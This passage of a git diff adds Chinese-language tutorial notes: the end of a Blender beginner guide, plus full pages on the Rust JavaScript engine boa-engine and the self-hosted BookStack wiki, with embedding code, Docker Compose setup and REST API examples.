+1. **熟悉视口导航**：中键旋转、Shift+中键平移、滚轮缩放；小键盘 `.` 聚焦选中物体
+2. **Object Mode 下 G/R/S**：移动、旋转、缩放；`Ctrl+Z` 撤销
+3. **Edit Mode 挤出（E）**：从一个面拉出厚度，做简单杯子/桌子
+4. **Subdivision Surface 修改器**：让硬边变平滑
+5. **Shading 工作区**：拖 Roughness / Metallic，加 HDRI 环境光
+6. **Layout + 时间轴**：插两个 keyframe，空格播放
+7. **F12 渲染一张图**：建立「我做出了成片」的正反馈
+
+进阶再拆分支：硬表面（Boolean、Bevel）、角色（Retopo、Rigify 插件）、程序化（Geometry Nodes）、影视（Compositor、Video Sequencer）。
+
+## 踩过的坑
+
+1. **单位与尺度**：默认 1 Blender Unit = 1 米；物理模拟对尺度敏感——硬币大小的物体别按建筑尺寸建模
+2. **法线方向**：面反了会出现黑块或 Boolean 失败；Edit Mode 里 `Alt+N` → Recalculate Outside
+3. **应用缩放（Ctrl+A）**：绑骨、物理、导出 glTF 前常需 **Apply Scale**，否则行为诡异
+4. **Cycles 渲太慢**：先 EEVEE 确认构图，再切 Cycles；降噪开 OpenImageDenoise，采样 128–512 视场景而定
+5. **脚本在 Blender 外跑**：`pip install bpy` 可装独立模块，但版本与完整 Blender 不完全一致；生产自动化优先用官方 `blender --background --python`
+6. **GPL 与插件**：链接 Blender Python API 的插件通常也需 GPL 兼容；闭源商业插件要读 license FAQ
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 个人/小团队 3D 资产、动画、静帧、短视频特效
+- 游戏资产制作（低模 + UV + PBR 贴图 + glTF 导出）
+- 建筑可视化、产品渲染、科普动画
+- 程序化/批量场景生成（Python + Geometry Nodes）
+- 学习 3D 全流程概念（拓扑、UV、绑定、渲染）
+
+**不适用**：
+
+- 超大规模影视 VFX 流水线（常配合 Houdini/Nuke，Blender 作环节之一可以）
+- 需要官方 Autodesk 生态（Maya 绑定插件、Arnold 管线）的大厂标准
+- 仅 2D 矢量/排版——用 Figma / Illustrator 更直接
+- 实时 AAA 游戏**引擎**本身——Blender 是 DCC，运行游戏用 [[godot]] / Unity / Unreal
+
+## 与其他工具的关系
+
+| 工具 | 分工 |
+| --- | --- |
+| [[playcanvas]] / Three.js | 浏览器**运行** glTF 场景；Blender **制作** 场景 |
+| [[godot]] | 游戏逻辑 + 实时运行；Blender 出模型/动画 |
+| [[ffmpeg]] | 渲染出的 PNG 序列可再 `-i frame_%04d.png` 合成 MP4 |
+| [[opencv]] | 读视频帧做 CV；Blender 做 3D 合成或生成训练用合成数据 |
+| Maya / 3ds Max | 商业 DCC，流程类似；概念可迁移到 Blender |
+
+## 学习资源
+
+- 官方手册：[docs.blender.org/manual](https://docs.blender.org/manual/en/latest/)
+- Python API：[docs.blender.org/api/current](https://docs.blender.org/api/current/)
+- Blender Studio 开源电影项目（Spring、Coffee Run 等）——可下载 `.blend` 源文件拆解
+- 入门：Blender Guru「Donut Tutorial」系列（经典甜甜圈）
+
+## 小结
+
+Blender 把 3D 制片厂塞进一个免费软件：Object/Data 场景图、修改器非破坏建模、节点材质、关键帧动画、EEVEE/Cycles 渲染、Python `bpy` 自动化，构成从零到成片的主干。零基础先用 GUI 走通「建模型 → 材质 → 灯光 → 渲染」闭环，再用脚本做批量与程序化，是性价比最高的学习路径。
diff --git a/src/content/docs/projects/boa-engine.md b/src/content/docs/projects/boa-engine.md
new file mode 100644
index 000000000..f6078f653
--- /dev/null
+++ b/src/content/docs/projects/boa-engine.md
@@ -0,0 +1,302 @@
+---
+title: boa-engine — 用 Rust 写出的可嵌入 JavaScript 引擎
+来源: 'https://github.com/boa-dev/boa'
+日期: '2026-06-13'
+子分类: 语言运行时
+分类: 编译器
+难度: '高级'
+provenance: 'pipeline-v3'
+---
+
+## 日常类比：把「翻译官 + 小法庭」塞进你的 Rust 程序
+
+想象你正在开发一款 Rust 写的桌面工具，希望用户能用 JavaScript 写插件——比如自定义数据处理脚本、自动化宏、主题逻辑。你不能要求每个用户都装 Node.js，也不想在 C++ 里和 V8 的构建系统搏斗。
+
+这时你需要的是**一位住在程序内部的翻译官**：
+
+- 用户写 JavaScript（外语）
+- 引擎先**词法分析 + 语法分析**，把源码变成结构化的语法树（AST）
+- 再**编译成字节码**，交给内部虚拟机逐条执行
+- 执行过程中创建的对象由**垃圾回收器（GC）** 自动清理
+
+**Boa**（🦀，名字来自一种无毒蛇）就是这样一位「Rust 国籍的 JS 翻译官」。它把 ECMAScript 规范里定义的 JavaScript 语义，用 Rust 实现成可嵌入的引擎 crate——`boa_engine`。项目地址：[boa-dev/boa](https://github.com/boa-dev/boa)，MIT 开源，GitHub 约 7k+ Stars（2026 年中），最新稳定版 v0.21.x，Test262 一致性约 **94%**。
+
+和 Chrome 里的 V8 不同，Boa 不追求「跑全世界网页最快」，而追求：**在 Rust 生态里安全、可控地嵌入 JS**，并能编译到 WebAssembly 在浏览器里跑 demo。
+
+---
+
+## 解决什么问题
+
+### 痛点 1：Rust 项目需要脚本层，但不想绑 Node 或 C++ 引擎
+
+游戏引擎、CLI 工具、区块链节点、配置 DSL……很多 Rust 程序需要「让用户写点逻辑」，却不想：
+
+- 拉起整个 Node.js 进程（体积、启动、部署）
+- 链接 V8 / SpiderMonkey（C++ 工具链、FFI 边界、内存安全顾虑）
+
+Boa 是纯 Rust crate，`Cargo.toml` 加一行依赖即可嵌入，类型系统和所有权模型与宿主程序一致。
+
+### 痛点 2：学习 / 研究 ECMAScript 引擎的实现路径
+
+Boa 把 lexer、parser、AST、bytecompiler、VM、GC 拆成独立 crate（`boa_parser`、`boa_ast`、`boa_gc` 等），代码相对 V8 百万行 C++ 更易读。适合：
+
+- 理解「JS 引擎到底在干什么」
+- 做语言实验、教学、Conformance 测试（Test262）
+- 为 Rust 生态贡献 Temporal、Intl 等新标准实现
+
+### 痛点 3：WASM 场景下的轻量 JS 运行时
+
+Boa 可以编译为 WebAssembly，在网页里跑 [live playground](https://boajs.dev/)——证明「Rust 写的引擎也能在浏览器里解释 JS」，适合 sandbox、在线 REPL、教育工具。
+
+### Boa 明确不擅长什么
+
+| 场景 | 说明 |
+| --- | --- |
+| 替代 Chrome / Node 的生产 JS 运行时 | V8 + JIT 在峰值性能上仍领先数个数量级 |
+| 完整浏览器环境 | DOM、网络栈需配合 `boa_runtime` 或自建，不是开箱即用 |
+| 100% ES 特性首日覆盖 | 仍在追赶 Temporal、部分 Intl 等；但 v0.21 已与主流浏览器 conformance 对齐 |
+
+---
+
+## 核心概念
+
+### 1. ECMAScript 规范：引擎的「法律条文」
+
+JavaScript 在标准组织 TC39 下以 **ECMAScript** 规范形式发布（ES2015、ES2020……）。引擎不是「实现 JS 作者觉得对的语义」，而是**尽量通过 Test262 测试套件**，证明行为与规范一致。
+
+Boa 团队持续跑 Test262，v0.21 从约 89.9% 提升到 **94.12%**，并实现了 **Temporal**（新日期时间 API）等重大特性。选 Boa 时，应查 [官方 conformance 页面](https://boajs.dev/) 确认你需要的语法/API 是否已覆盖。
+
+### 2. AST（抽象语法树）：源码的结构化表示
+
+JS 源码是文本；引擎不能直接「执行字符串」。流程是：
+
+```
+源码 → Lexer（词法）→ Token 流 → Parser（语法）→ AST → Bytecompiler → 字节码 → VM 执行
+```
+
+`boa_ast` crate 定义符合 ECMAScript 语法的 AST 节点（表达式、语句、函数声明等）。AST 可被优化、序列化（feature `serde`），也是工具链（格式化、静态分析）的入口。
+
+日常类比：AST 像**法律条文的目录树**——「第 3 章第 2 节是一个 if 语句，条件下挂两个分支」，而不是一整段无法索引的散文。
+
+### 3. GC（垃圾回收）：自动管理 JS 堆对象
+
+JavaScript 程序员很少手动 `free()`；引擎必须在堆上分配对象、数组、闭包，并在「没人再引用」时回收。Boa 的 `boa_gc` 实现带 **Trace / Finalize** trait 的追踪式 GC：
+
+- 引擎内对象必须实现 `Trace`，让 GC 知道「还有谁指着这块内存」
+- Rust 侧注册给 JS 的 native 状态若被闭包捕获，也要参与 trace，否则可能泄漏或悬垂
+
+这与 Rust 的所有权**在边界处交汇**：宿主 Rust 数据结构通过 `GcRefCell` 等包装后，才能安全地与 JS 对象共存。
+
+### 4. Context：一次 JS「会话」的宇宙
+
+`Context` 是执行 JS 的核心结构，持有：
+
+- 全局对象、Realm（类似规范中的 Realm Record）
+- 内置对象（`Object`、`Array`、`Promise`……）
+- 模块加载、Job 队列（微任务 / 宏任务）
+
+每次 `context.eval(...)` 都在这个宇宙里解析并运行代码。
+
+### 5. Crate 分工（模块化架构）
+
+| Crate | 职责 |
+| --- | --- |
+| `boa_parser` | 词法 + 语法分析 |
+| `boa_ast` | AST 定义 |
+| `boa_engine` | 内置对象、Context、字节码编译器、VM |
+| `boa_gc` | 垃圾回收 |
+| `boa_interner` / `boa_string` | 字符串驻留与 ECMAScript 字符串 |
+| `boa_runtime` | Console、Timer 等 Web API 子集 |
+| `boa_cli` | REPL 与命令行 |
+
+---
+
+## 代码示例
+
+### 示例 1：最小 embed —— 在 Rust 里 eval 一段 JS
+
+来自官方 README / docs.rs 的经典例子：演示 `Context` + `Source` + 动态类型拼接。
+
+```rust
+use boa_engine::{Context, JsResult, Source};
+
+fn main() -> JsResult<()> {
+    let js_code = r#"
+        let two = 1 + 1;
+        let definitely_not_four = two + "2";
+
+        definitely_not_four
+    "#;
+
+    let mut context = Context::default();
+    let result = context.eval(Source::from_bytes(js_code))?;
+
+    // JS 里 2 + "2" 触发 ToString，结果是 "22"
+    println!("{}", result.display());
+
+    Ok(())
+}
+```
+
+要点：
+
+- `Source::from_bytes` 包装待执行源码（也支持文件名等元数据，便于 stack trace）
+- `eval` 返回 `JsResult<JsValue>`——JS 异常会映射为 Rust 的 `Err`
+- `JsValue` 是 JS 值的 Rust 侧表示（number、string、object……）
+
+### 示例 2：注册 Rust 原生函数给 JS 调用
+
+嵌入引擎的常见需求：让 JS 调用宿主能力（读文件、调 GPU、访问数据库）。Boa 通过 `NativeFunction` 暴露 Rust 函数。
+
+```rust
+use boa_engine::{
+    Context, JsResult, JsValue, js_string,
+    native_function::NativeFunction,
+};
+
+fn main() -> JsResult<()> {
+    let mut context = Context::default();
+
+    // 把 Rust 闭包注册为全局函数 double(x)
+    context.register_global_callable(
+        js_string!("double"),
+        1, // arity：形参个数
+        NativeFunction::from_fn_ptr(|_this, args, ctx| {
+            let n = args.get_or_undefined(0).to_number(ctx)?;
+            Ok(JsValue::from(n * 2.0))
+        }),
+    )?;
+
+    let result = context.eval(
+        boa_engine::Source::from_bytes("double(21)"),
+    )?;
+
+    assert_eq!(result.to_number(&mut context)?, 42.0);
+    Ok(())
+}
+```
+
+要点：
+
+- `register_global_callable` 在全局对象上创建可调用的 JS 函数
+- 回调签名 `(&JsValue, &[JsValue], &mut Context) -> JsResult<JsValue>` 对应 JS 的 `this`、参数列表、引擎上下文
+- 还有 `from_copy_closure`、`from_async_fn` 等变体，支持捕获 Rust 状态与 async/Promise 互操作
+
+### 示例 3（可选）：REPL 与 CLI
+
+安装 `boa_cli` 后可直接体验引擎，无需写 Rust 宿主：
+
+```bash
+cargo install boa_cli
+boa
+# 进入交互式 REPL，输入 JS 表达式即时求值
+```
+
+---
+
+## 与 V8 / SpiderMonkey 的对比
+
+三者都能执行 JavaScript，但**设计目标、实现语言、性能曲线**完全不同。
+
+### 一句话定位
+
+| 引擎 | 语言 | 主要宿主 | 典型目标 |
+| --- | --- | --- | --- |
+| **V8** | C++ | Chrome、Node.js、Deno（部分） | 生产级峰值性能 + JIT + 完整 ES |
+| **SpiderMonkey** | C++ / Rust（组件化迁移中） | Firefox | 浏览器标准实现 + 长期演进 |
+| **Boa** | Rust | 嵌入式工具、WASM、研究 | 安全嵌入 + 规范学习 + 中等 conformance |
+
+### 多维度对比
+
+| 维度 | V8 | SpiderMonkey | Boa |
+| --- | --- | --- | --- |
+| **性能** | 顶级：JIT（Ignition + TurboFan）、内联缓存、优化编译 | 强：IonMonkey 等，Firefox 级优化 | 解释器 + 字节码为主，**无生产级 JIT**，峰值远慢于 V8 |
+| **嵌入难度（Rust 项目）** | 高：需 C++ 构建、复杂 ABI | 高：C API，Rust 需 FFI 层 | **低**：原生 crate，类型安全互操作 |
+| **内存安全** | C++ 手动管理 + 引擎内 GC | 同左 | **Rust 保证 + boa_gc**，减少整类内存 bug |
+| **体积** | 大（数十 MB 级运行时） | 大 | 相对小，适合 WASM / 工具内嵌 |
+| **Test262 / ES 覆盖** | 标杆，驱动 Web 互操作 | 标杆 | ~94%（v0.21），接近浏览器但仍有缺口 |
+| **生态** | Node/npm 全生态 | 主要服务 Firefox | Rust + 实验性 WebAPI（`boa_runtime`） |
+| **适用场景** | 服务器、浏览器、桌面 Electron | 浏览器 | Rust 插件系统、教学、Conformance 实验、WASM demo |
+
+### 和 [[quickjs]] 的横向关系
+
+若你已读过 QuickJS 笔记：QuickJS 用 **C** 实现、体积极小、适合 IoT；Boa 用 **Rust** 实现、强调类型安全与模块化 crate，Conformance 更高、架构更「现代引擎」。选型上：
+
+- **C 项目 + 极小体积** → QuickJS
+- **Rust 项目 + 不想 FFI** → Boa
+- **生产性能 / Node 兼容** → V8（通过 Deno、Node 或 `rusty_v8` 等绑定）
+
+---
+
+## 执行流水线（从源码到结果）
+
+```text
+┌─────────────┐    ┌─────────────┐    ┌──────────────┐    ┌─────────────┐
+│  JS Source  │ -> │ boa_parser  │ -> │   boa_ast    │ -> │ bytecompiler│
+│  (字符串)   │    │ Lex + Parse │    │  语法树      │    │  字节码     │
+└─────────────┘    └─────────────┘    └──────────────┘    └──────┬──────┘
+                                                                 │
+                                                                 v
+┌─────────────┐    ┌─────────────┐    ┌──────────────┐    ┌─────────────┐
+│  JsValue    │ <- │  builtins   │ <- │  boa_engine  │ <- │     VM      │
+│  返回宿主   │    │ Object/...  │    │   Context    │    │  逐条执行   │
+└─────────────┘    └─────────────┘    └──────────────┘    └─────────────┘
+                                           │
+                                           v
+                                    ┌──────────────┐
+                                    │   boa_gc     │
+                                    │  回收堆对象  │
+                                    └──────────────┘
+```
+
+理解这条链，就理解了「为什么改 parser 不会直接改 VM」——层与层之间通过 AST 和字节码解耦。
+
+---
+
+## 特性开关（Cargo Features）
+
+在 `Cargo.toml` 中可按需启用：
+
+```toml
+[dependencies]
+boa_engine = { version = "0.21", features = ["intl"] }
+```
+
+| Feature | 作用 |
+| --- | --- |
+| `intl` | ECMA-402 `Intl` 国际化 API（依赖 ICU 数据） |
+| `serde` | AST 序列化 / 反序列化 |
+| `profiler` | 内置性能分析（偏内部开发） |
+
+---
+
+## 何时选用 Boa
+
+**适合：**
+
+- Rust 应用需要 JS 插件或配置脚本，且团队以 Rust 为主
+- 学习 ECMAScript 引擎分层实现（parser / VM / GC）
+- 需要 WASM 可移植的 JS 解释器 demo
+- 参与开源：Temporal、Test262、Rust 互操作等方向
+
+**不适合：**
+
+- 替代 Node.js 跑高 QPS 服务端 JS
+- 需要最新 stage-3 提案即刻可用且无人维护 fork
+- 对延迟极度敏感的热路径（应直接写 Rust 或绑 V8）
+
+---
+
+## 进一步阅读
+
+- 官网与 playground：[https://boajs.dev/](https://boajs.dev/)
+- API 文档：[docs.rs/boa_engine](https://docs.rs/boa_engine/latest/boa_engine/)
+- v0.21 发布说明（Temporal、94% Test262）：[Boa release v0.21](https://boajs.dev/blog/2025/10/22/boa-release-21)
+- 示例 crate：[boa-dev/boa/examples](https://github.com/boa-dev/boa/tree/main/examples)
+- 相关笔记：[[quickjs]]（C 轻量引擎）、[[swc]]（Rust 生态的 JS 编译器前端，不执行 JS）
+
+---
+
+## 小结
+
+**boa-engine** 是用 Rust 从零搭建的 ECMAScript 引擎：通过 **规范驱动** 的开发（Test262）、**AST + 字节码 VM** 的经典架构、以及 **boa_gc** 管理的堆对象，让 Rust 程序能安全嵌入 JavaScript。它不会取代 V8 或 SpiderMonkey 在浏览器与 Node 中的地位，但在「Rust 宿主 + 脚本层 + 可Teaching 的引擎源码」这一 niche 里，是目前生态中最直接、最干净的选择之一。
diff --git a/src/content/docs/projects/bookstack.md b/src/content/docs/projects/bookstack.md
new file mode 100644
index 000000000..57926aacf
--- /dev/null
+++ b/src/content/docs/projects/bookstack.md
@@ -0,0 +1,334 @@
+---
+title: BookStack — 文档型 Wiki 知识库
+来源: https://github.com/BookStackApp/BookStack
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：公司书架上的「真·说明书」，而不是聊天里的第 17 版 Word
+
+想象你们团队有一间 **内部图书馆**，管理员按主题把资料摆成三层结构：
+
+- **书架（Shelf）** 是「工程区」「产品区」「运维区」这样的大分区，一眼能看到有哪些主题的书。
+- **书（Book）** 是一本完整手册，比如《Kubernetes 运维指南》或《新人 Onboarding》。
+- **章（Chapter）** 是书里的目录层级，把相关页面收拢在一起。
+- **页（Page）** 才是具体一篇文章——部署步骤、故障排查、API 说明。
+
+很多团队的现实是：知识散落在 Slack 线程、Google Docs 子文件夹、某次培训 PPT 的副本里。新人问「Staging 怎么发布？」，老员工翻聊天记录五分钟，复制粘贴一个 **过期链接**。
+
+**BookStack**（[BookStackApp/BookStack](https://github.com/BookStackApp/BookStack)）就是为这种场景设计的 **自托管文档 Wiki**：用「书架 → 书 → 章 → 页」组织内容，WYSIWYG 或 Markdown 双编辑器，全文搜索，段落级深链接，角色权限可细到单本书。官方站点 [bookstackapp.com](https://www.bookstackapp.com)，MIT 许可，PHP + Laravel 构建，源码主仓已迁移至 [Codeberg](https://codeberg.org/bookstack/bookstack)，GitHub 仍作镜像与 Star 统计（约 1.8 万+ Star）。
+
+与 **Outline**（Collection + Document 扁平树）、**Confluence**（企业 CMS 重量级）相比，BookStack 更 ** opinionated（有明确主见）**：不追求无限自定义，而是让「非程序员也能十分钟上手写文档」。零基础路径：**试用 [demo.bookstackapp.com](https://demo.bookstackapp.com) → 理解 Shelf/Book/Chapter/Page → Docker 或 Ubuntu 脚本自建 → 配 LDAP/OIDC → 用 REST API 接 CI**。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：Wiki 结构要么太扁，要么太复杂
+
+MediaWiki 适合维基百科式词条，但对「按项目写手册」不直观；Notion 灵活但 SaaS 绑定深。BookStack 用 **四层固定模型**（Shelf / Book / Chapter / Page），新人看到界面就知道该往哪放内容。
+
+### 痛点 2：技术文档与非技术同事之间的编辑门槛
+
+默认 **WYSIWYG 富文本** 像 Word，行政、产品也能改政策页；工程师可切 **Markdown 编辑器 + 实时预览**。内置 **diagrams.net（draw.io）** 画图，不用另开工具。
+
+### 痛点 3：「谁改了什么」与合规留痕
+
+每页有 **revision 历史**，可对比差异、回滚。配合 **Audit Log API** 与按角色的 **MFA 强制**，适合内网知识库的基本治理需求。
+
+### 痛点 4：与自动化流水线脱节
+
+内置 **REST API**、**Webhooks**、**Visual / Logical Theme** 扩展点，可用 CI 在发版后自动写入 changelog 页，或在事故响应时由 bot 创建 runbook 草稿。
+
+---
+
+## 核心概念拆解
+
+### 1. Shelf（书架）
+
+Shelf 是 **顶层视觉分区**，把多本 Book 归为一组展示（如「Platform Team 全部文档」）。Shelf 本身不直接包含 Page，Page 必须挂在 Book（或 Book 下的 Chapter）里。一个 Book 可以出现在多个 Shelf 上。
+
+### 2. Book（书）
+
+Book 是 **内容的主要容器**，类似一本完整手册。包含：
+
+- 封面图、描述、标签（Tags）
+- 可选 **default_template_id**：新建页时套用模板
+- 直接子 Page，或通过 Chapter 间接组织
+
+权限可在 Book 级别 **继承或覆盖**（restrictions）。
+
+### 3. Chapter（章）
+
+Chapter 是 Book 内的 **中间层目录**，用于把相关 Page 分组（如「安装」「监控」「故障排查」）。Chapter 也可以没有子 Page，仅作说明性分组。
+
+### 4. Page（页）
+
+Page 是 **最小内容单元**，存储 HTML（WYSIWYG 或 Markdown 转换后）。特点：
+
+- **slug** 构成稳定 URL：`/books/my-book/page/my-page`
+- **段落锚点** `#bkmrk-...` 支持深链接到段内
+- **draft** 草稿与 **template** 模板页
+- **editor** 字段标记最后使用的编辑器（`wysiwyg` / `markdown`）
+- 支持导出 HTML / PDF / Markdown / ZIP
+
+### 5. 搜索（Search）
+
+全局或限定在单 Book 内搜索。API `GET /api/search?query=...` 支持 `{created_by:me}` 等过滤语法。搜索结果跨 Shelf、Book、Chapter、Page。
+
+### 6. 权限与角色（Roles & Permissions）
+
+基于 **Role** 的权限系统，粒度包括：
+
+- 全局：用户管理、API 访问、设置修改
+- 实体级：`book-view`、`page-update` 等，可对单本书 **加锁**
+
+常见角色：**Admin**、**Editor**、**Viewer**。企业场景可接 **LDAP / SAML2 / OIDC**，并 per-role **强制 MFA（TOTP）**。
+
+### 7. 认证与 API Token
+
+Web 登录支持邮箱密码及多种社交/OAuth 提供者。调用 REST API 需给用户角色分配 **「Access System API」** 权限，再在用户资料里创建 **API Token**（Token ID + Token Secret），请求头格式：
+
+```
+Authorization: Token <token_id>:<token_secret>
+```
+
+### 8. 技术栈一览
+
+| 层 | 技术 |
+|----|------|
+| 后端 | PHP 8.2+、Laravel |
+| 数据库 | MySQL 8.0+ 或 MariaDB 10.6+ |
+| 前端 | TypeScript、Blade 模板 |
+| 依赖 | Composer |
+| 部署 | Apache/Nginx、Docker（社区镜像）、Ubuntu 一键脚本 |
+| 存储 | 本地 `public/uploads` 或 S3 兼容对象存储 |
+
+健康检查端点：`GET /status`（子系统异常时返回 HTTP ≥400）。
+
+---
+
+## 内容组织建议
+
+适合中小团队的一种结构：
+
+```
+Shelf: Engineering
+├── Book: Platform Runbooks
+│   ├── Chapter: Kubernetes
+│   │   ├── Page: 集群升级 checklist
+│   │   └── Page: etcd 备份恢复
+│   └── Chapter: Observability
+│       └── Page: Grafana 告警路由
+└── Book: RFC Archive
+    └── Page: RFC-001 事件总线选型
+
+Shelf: Company
+└── Book: People & Policy
+    ├── Page: 休假政策
+    └── Page: 报销流程
+```
+
+原则：
+
+1. **Book 对应一个「可交付主题」**（一本完整手册），不要把所有东西都塞进一本书；
+2. **Chapter 控制单书内目录深度**，超过 20 页的 Book 建议拆 Chapter；
+3. **模板页（template）** 统一 RFC、事故报告、Onboarding 结构；
+4. **Tags** 做跨 Book 检索（如 `env:production`），不要替代清晰的 Book 边界；
+5. 对外只读场景可开 **guest 访问** 或导出 PDF，对内用 Role 收口编辑权。
+
+---
+
+## 代码示例 1：LinuxServer.io Docker Compose 最小栈
+
+BookStack 官方不提供第一方 Docker 镜像，社区常用 [linuxserver/docker-bookstack](https://github.com/linuxserver/docker-bookstack)。下面是最小可运行 compose（生产请 **固定镜像 tag**、改强密码、配 HTTPS 反向代理）：
+
+```yaml
+# docker-compose.yml — 基于 LinuxServer.io 社区镜像的简化示例
+services:
+  bookstack:
+    image: lscr.io/linuxserver/bookstack:latest
+    container_name: bookstack
+    environment:
+      - PUID=1000
+      - PGID=1000
+      - APP_URL=https://docs.example.com
+      - DB_HOST=bookstack_db
+      - DB_PORT=3306
+      - DB_DATABASE=bookstackapp
+      - DB_USERNAME=bookstack
+      - DB_PASSWORD=change_me_strong_password
+    volumes:
+      - ./bookstack_config:/config
+    ports:
+      - "6875:80"
+    depends_on:
+      - bookstack_db
+    restart: unless-stopped
+
+  bookstack_db:
+    image: mariadb:10.11
+    container_name: bookstack_db
+    environment:
+      - MYSQL_ROOT_PASSWORD=change_me_root
+      - MYSQL_DATABASE=bookstackapp
+      - MYSQL_USER=bookstack
+      - MYSQL_PASSWORD=change_me_strong_password
+    volumes:
+      - ./bookstack_db:/var/lib/mysql
+    restart: unless-stopped
+```
+
+启动后访问 `http://localhost:6875`，默认管理员 **`admin@admin.com` / `password`**，**务必立即修改**。若前面有 Nginx/Caddy，把 `APP_URL` 设为公网 HTTPS 地址，否则邮件链接与 OAuth 回调会错。
+
+手动安装（非 Docker）核心步骤：克隆 `release` 分支 → `composer install --no-dev` → 复制 `.env` → `php artisan key:generate` → `php artisan migrate` → Web 根指向 `public/`。详见 [官方安装文档](https://www.bookstackapp.com/docs/admin/installation/)。
+
+---
+
+## 代码示例 2：REST API — 发版流水线自动写入 Changelog 页
+
+场景：GitHub Actions 在 tag 发布后，向 BookStack 的「Release Notes」Book 追加一页。先确保 CI 用的服务账号角色含 **Access System API** 与目标 Book 的 **page-create** 权限。
+
+**列出书籍，找到目标 book_id：**
+
+```bash
+curl -sS "https://docs.example.com/api/books" \
+  -H "Authorization: Token ${BOOKSTACK_TOKEN_ID}:${BOOKSTACK_TOKEN_SECRET}" \
+  -H "Accept: application/json" | jq '.data[] | {id, name, slug}'
+```
+
+**用 Markdown 创建新页（`book_id: 3` 为例）：**
+
+```bash
+curl -sS -X POST "https://docs.example.com/api/pages" \
+  -H "Authorization: Token ${BOOKSTACK_TOKEN_ID}:${BOOKSTACK_TOKEN_SECRET}" \
+  -H "Content-Type: application/json" \
+  -H "Accept: application/json" \
+  -d '{
+    "book_id": 3,
+    "name": "v2.4.0 — 2026-06-13",
+    "markdown": "# v2.4.0\n\n## Highlights\n\n- Added BookStack export to CI\n- Fixed search index lag\n\n## Upgrade\n\n```bash\nphp artisan migrate\n```\n",
+    "tags": [
+      {"name": "release", "value": "2.4.0"},
+      {"name": "channel", "value": "stable"}
+    ],
+    "priority": 0
+  }'
+```
+
+API 返回 JSON 含新页 `id`、`slug` 与 `url`。若需更新已有页，用 `PUT /api/pages/{id}`；导出 Markdown 备份用 `GET /api/pages/{id}/export/markdown`。
+
+**Python 批量同步草稿（结构示例）：**
+
+```python
+#!/usr/bin/env python3
+"""Sync local markdown files into a BookStack book via REST API."""
+import os
+import requests
+
+BASE = os.environ["BOOKSTACK_URL"].rstrip("/")
+AUTH = {
+    "Authorization": f"Token {os.environ['BOOKSTACK_TOKEN_ID']}:"
+    f"{os.environ['BOOKSTACK_TOKEN_SECRET']}"
+}
+BOOK_ID = int(os.environ["BOOKSTACK_BOOK_ID"])
+
+def upsert_page(name: str, markdown: str) -> dict:
+    # 简化：仅创建；生产环境应先 GET /api/pages?filter=... 按 slug 去重
+    payload = {"book_id": BOOK_ID, "name": name, "markdown": markdown}
+    r = requests.post(f"{BASE}/api/pages", json=payload, headers=AUTH, timeout=30)
+    r.raise_for_status()
+    return r.json()
+
+if __name__ == "__main__":
+    for path in sorted(os.listdir("docs/export")):
+        if not path.endswith(".md"):
+            continue
+        title = path.removesuffix(".md").replace("-", " ").title()
+        body = open(f"docs/export/{path}", encoding="utf-8").read()
+        page = upsert_page(title, body)
+        print(f"created page id={page['id']} slug={page['slug']}")
+```
+
+注意：写入的 HTML 宜保持 **单层块级元素**，复杂嵌套可能在 WYSIWYG 编辑器里显示异常；API 文档 [Content Security](https://demo.bookstackapp.com/api/docs) 章节说明了 `html` 与 `raw_html` 的区别及 XSS 注意点。
+
+---
+
+## 代码示例 3：Webhook 在页面变更时通知 Slack
+
+BookStack 管理后台可配置 **Webhooks**：在 `page_create`、`page_update` 等事件发生时 POST JSON 到你的 endpoint。下面是一个极简 Node 转发器，把事件摘要发到 Slack Incoming Webhook：
+
+```javascript
+// webhook-relay.mjs — 接收 BookStack 事件并通知 Slack
+import http from "node:http";
+
+const SLACK_URL = process.env.SLACK_WEBHOOK_URL;
+
+http.createServer(async (req, res) => {
+  if (req.method !== "POST") {
+    res.writeHead(405);
+    return res.end();
+  }
+  const chunks = [];
+  for await (const c of req) chunks.push(c);
+  const event = JSON.parse(Buffer.concat(chunks).toString("utf8"));
+  // event.related_item 含 name、book_slug、url 等字段（依版本略有差异）
+  const text = `[BookStack] ${event.event} — ${event.related_item?.name ?? "unknown"}`;
+  await fetch(SLACK_URL, {
+    method: "POST",
+    headers: { "Content-Type": "application/json" },
+    body: JSON.stringify({ text }),
+  });
+  res.writeHead(204);
+  res.end();
+}).listen(8787);
+```
+
+适合「文档更新自动 @ 频道」的轻量集成； heavier 的场景直接用 REST API 拉 audit-log 更可控。
+
+---
+
+## 与相近方案怎么选
+
+| 维度 | BookStack | Outline | HedgeDoc | Confluence |
+|------|-----------|---------|----------|------------|
+| 内容模型 | Shelf/Book/Chapter/Page | Collection/Document 树 | 单页 Markdown 房间 | 空间/页面 + 宏 |
+| 编辑体验 | WYSIWYG + Markdown | Notion 式块编辑 | 纯 Markdown 协作 | 富文本 + 插件 |
+| 自托管 | 易（PHP + MySQL） | 需 PG + Redis + S3 | 相对轻 | 通常 Data Center |
+| 实时协同 | 否（修订竞争靠保存） | 是 | 是（CRDT） | 是 |
+| 许可 | MIT | BSL 1.1 | AGPL-3.0 | 商业 |
+| 典型用户 | 中小企业内部 Wiki | 工程团队知识库 | 技术共笔/会议 | 大企业标配 |
+
+若你需要 **固定书架隐喻 + 低学习成本 + MIT**，BookStack 往往是自托管 Wiki 的默认候选；若 **实时共编** 是硬需求，Outline / HedgeDoc 更合适。
+
+---
+
+## 运维与生产注意事项
+
+1. **备份**：MySQL 全库 + `storage/` 与 `public/uploads/`（或 S3 bucket）；发版前用官方 `release` 分支，执行 `php artisan migrate`。
+2. **HTTPS**：OAuth、OIDC、邮件重置密码都依赖正确的 `APP_URL`。
+3. **搜索性能**：大实例定期清理回收站；极大规模可考虑只读副本（非官方 HA 方案，需自行验证）。
+4. **升级**：官方 upgrade 流程在维护窗口执行，**不保证零停机**；多实例 HA 需共享 session/cache 与上传存储（Redis + S3）。
+5. **安全**：默认关闭公开注册；API Token 最小权限；对外暴露前跑 `/status` 与权限审计。
+
+---
+
+## 学习路径建议
+
+| 阶段 | 做什么 | 预期收获 |
+|------|--------|----------|
+| 1. 体验 | 登录 demo，创建 Shelf/Book/Page，试 WYSIWYG 与 Markdown | 理解四层模型 |
+| 2. 组织 | 按团队设计 2 个 Shelf、各 2 本书，写模板页 | 形成信息架构 |
